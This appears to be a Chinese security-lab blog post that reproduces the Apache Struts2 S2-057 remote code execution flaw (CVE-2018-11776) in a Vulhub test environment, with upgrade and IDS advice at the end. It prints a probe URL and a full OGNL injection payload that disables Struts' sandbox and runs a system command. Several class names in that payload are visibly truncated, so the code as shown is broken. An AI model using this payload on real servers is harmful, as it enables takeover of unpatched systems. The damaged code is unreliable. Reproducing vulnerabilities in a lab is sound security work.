网安引领时代,弥天点亮未来
2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776)。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行。
Apache Struts2.3–Struts 2.3.34, Struts 2.5– Struts 2.5.16
虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。
docker-compose up -d
1、访问漏洞环境
2、访问/showcase路径到Struts2测试页
http://192.168.60.131:8080/showcase
3、Payload验证漏洞是否存在
http://192.168.60.131:8080/struts2-showcase/$%7B9*9%7D/actionChain1.action
返回结果
4、POC进行漏洞利用
${(#dm=OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance( .opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a= .lang.Runtime@getRuntime().exec('id')).( .apache.commons.io.IOUtils@toString(#a.getInputStream()))} .
在利用时需要进行URL编码
命令执行
1、将ApacheStrust2版本升级到官方最新版本
2、Web应用,尽量保证代码的安全性。重点从SDL角度重视安全
3、对于IDS规则,数值计算和弹计算器返回的状态码都是302,并且Location跳转字段含有特征句柄字符串;如果是命令回显返回的200状态码,且有命令结果输出。
https://www.anquanke.com/post/id/157823
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
弥 天
安全实验室
本文始发于微信公众号(弥天安全实验室):Apache Struts2--057远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论